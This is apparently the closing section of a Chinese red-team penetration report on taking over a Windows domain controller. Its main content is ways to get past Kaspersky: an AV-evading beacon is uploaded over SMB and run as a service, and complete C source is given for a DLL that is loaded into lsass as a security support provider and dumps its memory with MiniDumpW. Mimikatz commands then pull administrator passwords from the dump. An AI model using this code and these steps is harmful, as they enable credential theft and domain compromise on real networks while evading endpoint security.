其实拿下域控的过程很常规,就是在WEBDAV服务器上抓到了域管理员的账户密码。但是这里难点是卡巴斯基的对抗,绕不过你就拿不到域管理员的账户密码。

这里安装的卡巴斯基全方位防护版来进行测试。

1. 绕过卡巴斯基横向移动

在真实场景中并不会像本地环境一样顺利,当我们拿到一张高权限票据后准备对dev2机器进行pass the ticket时存在卡巴斯基怎么办呢?常规的smbexec.py会被拦截的。

我们这里的绕过方法是用smb上传一个beacon再通过创建启动服务执行beacon全程无拦截,当然beacon.exe需要进行免杀处理。

2. 绕过卡巴斯基抓lsass中的密码

我想最糟心的事情莫过于知道域管理员登录过这台机器,但却没有办法抓密码。下面将介绍如何解决这个问题。相信在红队行动中遇到卡巴斯基的小伙伴不少,也知道他对防止从lsass中抓取密码做的是多么的变态。即使你使用微软签名的内存dump工具也会被拦截,更不用说什么mimikatz了。

偶然在国外大佬博客上看到了一篇通过RPC调用添加一个SSP dll的文章Exploring Mimikatz - Part 2 - SSP,突然醍醐灌顶,lsass自身绝对可以读自己内存呀,加载dll到lsass进程然后dump内存不是就可以绕过了? 不禁感叹:站在巨人肩膀上看到的世界果然更为辽阔。

下载编译这个代码ssp_dll.c 然后再写一个dump 进程内存的dll。

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 

    MiniDumpW(0, 0, ws);
        return 0;

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
        switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
                dump();
                break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}

这样就绕过了卡巴斯基dump到了lsass的内存了。

最后本地导入mimikatz的常规操作就不细说了,上几个截图。

mimikatz # sekurlsa::minidump 1.bin
mimikatz # sekurlsa::logonPasswords full

到此是真的要结束了,有域管理员的账户密码,怎么拿下域控,我相信这个不用多说了。

0x04 总结

我们回顾一下,从discuz到xxe,从xxe到域控,整个过程我们在真实的渗透过程中其实没有花费太多时间,可能得益于平时的积累。针对此次渗透,我们还是收获满满,希望你也是。

最后的最后,我们来进行一次反思。

  1. Discuz并不是无懈可击的,不要闻风丧胆,遇见就上不要怂,可能他就是你的突破口。

  2. 请期待我们的下一篇文章《微软不认的0day之域内本地提权-烂番茄》

  3. 生命不息,研究不止。如果你想加入A-TEAM,请投简历:[email protected]

关于作者

lanu0071篇文章1篇回复

评论84次

要评论?请先  登录  或  注册